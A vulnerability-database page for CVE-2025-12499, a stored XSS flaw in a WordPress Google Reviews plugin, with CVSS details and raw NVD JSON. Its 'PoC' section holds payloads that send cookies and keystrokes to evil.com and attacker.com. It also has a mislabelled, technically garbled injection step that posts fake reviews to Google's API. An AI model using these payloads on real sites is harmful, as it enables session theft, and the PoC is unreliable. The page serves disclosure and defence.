Security Vulnerability Report
中文
CVE-2025-12499 CVSS 7.2 HIGH

CVE-2025-12499

Published: 2025-12-06 08:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Rich Shortcodes for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the contents of a Google Review in all versions up to, and including, 6.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially patched in version 6.6.2.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Rich Shortcodes for Google Reviews插件 <= 6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12499 PoC - Stored XSS in Google Reviews Plugin // This PoC demonstrates how malicious JavaScript can be injected through Google Reviews // Step 1: Create a Google Review with XSS payload const maliciousReview = { author_name: 'Attacker', rating: 5, text: '<img src=x onerror="fetch(\'https://evil.com/steal?cookie=\'+document.cookie)">', relative_time_description: 'a week ago' }; // Step 2: Inject via Google Places API or plugin configuration // The plugin will store and display this review without sanitization fetch('https://maps.googleapis.com/maps/api/place/details/json', { method: 'POST', body: JSON.stringify({ place_id: 'YOUR_PLACE_ID', reviews: [maliciousReview] }) }); // Step 3: When victims visit the page with the review widget, // the malicious script will execute, exfiltrating cookies to attacker server // Example XSS Payloads: // 1. Cookie Theft: <script>document.location='https://attacker.com/log?c='+document.cookie</script> // 2. Keylogger: <img src=x onerror='document.onkeypress=function(e){fetch("https://attacker.com/k?k="+e.key)}'> // 3. DOM Manipulation: <img src=x onerror='document.body.innerHTML="<h1>Hacked</h1>"'> // Mitigation: Plugin should sanitize all review content before rendering // Example sanitization code: function sanitizeInput(input) { return input .replace(/</g, '&lt;') .replace(/>/g, '&gt;') .replace(/"/g, '&quot;') .replace(/'/g, '&#x27;') .replace(/\//g, '&#x2F;'); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12499", "sourceIdentifier": "[email protected]", "published": "2025-12-06T08:15:47.787", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Rich Shortcodes for Google Reviews plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the contents of a Google Review in all versions up to, and including, 6.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was partially patched in version 6.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3389203/widget-google-reviews", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3411521/widget-google-reviews", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e2960224-4446-4fc6-8d18-6f9911b4cbad?source=cve", "source": "[email protected]"}]}}